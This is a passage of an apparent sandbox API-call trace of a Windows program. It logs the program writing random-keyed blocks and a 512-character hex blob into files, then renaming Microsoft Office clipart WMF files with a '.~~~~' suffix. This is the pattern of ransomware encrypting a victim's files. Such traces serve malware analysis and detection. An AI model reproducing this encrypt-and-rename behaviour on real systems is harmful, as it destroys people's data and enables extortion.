	[0109.566] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.719] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.786] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.786] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.786] CloseHandle (hObject=0x138) returned 1
	[0109.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0109.977] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.~~~~")) returned 1
	[0109.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0109.979] GetLastError () returned 0x0
	[0109.979] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.334] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.334] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.344] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.356] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.356] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23034658048) returned 1
	[0110.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab62f7f0, dwHighDateTime=0x1d60e1e)) 
	[0110.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808d78
	[0110.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0110.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808d78 | out: hHeap=0x300000) returned 1
	[0110.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2943530
	[0110.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0110.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2943530 | out: hHeap=0x300000) returned 1
	[0110.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b8d8
	[0110.357] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.357] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.358] GetLastError () returned 0x0
	[0110.358] GetLastError () returned 0x0
	[0110.358] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.358] GetLastError () returned 0x0
	[0110.358] GetLastError () returned 0x0
	[0110.364] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff45c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.364] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xba4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0xba4, lpOverlapped=0x0) returned 1
	[0110.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.366] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.366] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.366] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.366] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.366] CloseHandle (hObject=0x144) returned 1
	[0110.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.~~~~")) returned 1
	[0110.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.367] GetLastError () returned 0x0
	[0110.368] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.369] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.369] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.369] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.369] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23035948975) returned 1
	[0110.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab655950, dwHighDateTime=0x1d60e1e)) 
	[0110.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808db0
	[0110.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808db0 | out: hHeap=0x300000) returned 1
	[0110.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b380
	[0110.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.370] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.370] GetLastError () returned 0x0
	[0110.371] GetLastError () returned 0x0
	[0110.371] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.371] GetLastError () returned 0x0
	[0110.371] GetLastError () returned 0x0
	[0110.373] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe928, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.373] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x16d8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x16d8, lpOverlapped=0x0) returned 1
	[0110.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.374] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.374] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.374] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.374] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.374] CloseHandle (hObject=0x144) returned 1
	[0110.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01141_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01141_.wmf.~~~~")) returned 1
	[0110.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.375] GetLastError () returned 0x0
	[0110.376] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.377] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.377] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.377] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23036699812) returned 1
	[0110.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab655950, dwHighDateTime=0x1d60e1e)) 
	[0110.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808de8
	[0110.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808de8 | out: hHeap=0x300000) returned 1
	[0110.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ba08
	[0110.377] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.377] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.378] GetLastError () returned 0x0
	[0110.378] GetLastError () returned 0x0
	[0110.378] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.378] GetLastError () returned 0x0
	[0110.378] GetLastError () returned 0x0
	[0110.380] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe0c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.380] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1f38, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x1f38, lpOverlapped=0x0) returned 1
	[0110.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.381] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.381] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.381] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.381] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.381] CloseHandle (hObject=0x144) returned 1
	[0110.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.382] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01148_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01148_.wmf.~~~~")) returned 1
	[0110.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.383] GetLastError () returned 0x0
	[0110.384] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.384] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.384] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.385] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23037473296) returned 1
	[0110.385] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab67bab0, dwHighDateTime=0x1d60e1e)) 
	[0110.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808e20
	[0110.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e20 | out: hHeap=0x300000) returned 1
	[0110.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282baa0
	[0110.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.385] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.385] GetLastError () returned 0x0
	[0110.386] GetLastError () returned 0x0
	[0110.386] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.386] GetLastError () returned 0x0
	[0110.386] GetLastError () returned 0x0
	[0110.388] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffedb8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.388] WriteFile (in: hFile=0x144, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1248, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x1248, lpOverlapped=0x0) returned 1
	[0110.389] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.389] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.389] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.389] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.389] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.389] CloseHandle (hObject=0x144) returned 1
	[0110.389] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.390] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01149_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01149_.wmf.~~~~")) returned 1
	[0110.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0110.390] GetLastError () returned 0x0
	[0110.391] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0110.392] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.392] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0110.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0110.392] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23038195579) returned 1
	[0110.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xab67bab0, dwHighDateTime=0x1d60e1e)) 
	[0110.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0110.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0110.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0110.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808e58
	[0110.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e58 | out: hHeap=0x300000) returned 1
	[0110.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282bb38
	[0110.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.392] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0110.393] GetLastError () returned 0x0
	[0110.393] GetLastError () returned 0x0
	[0110.393] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0110.393] GetLastError () returned 0x0
	[0110.393] GetLastError () returned 0x0
	[0110.431] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffddd0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
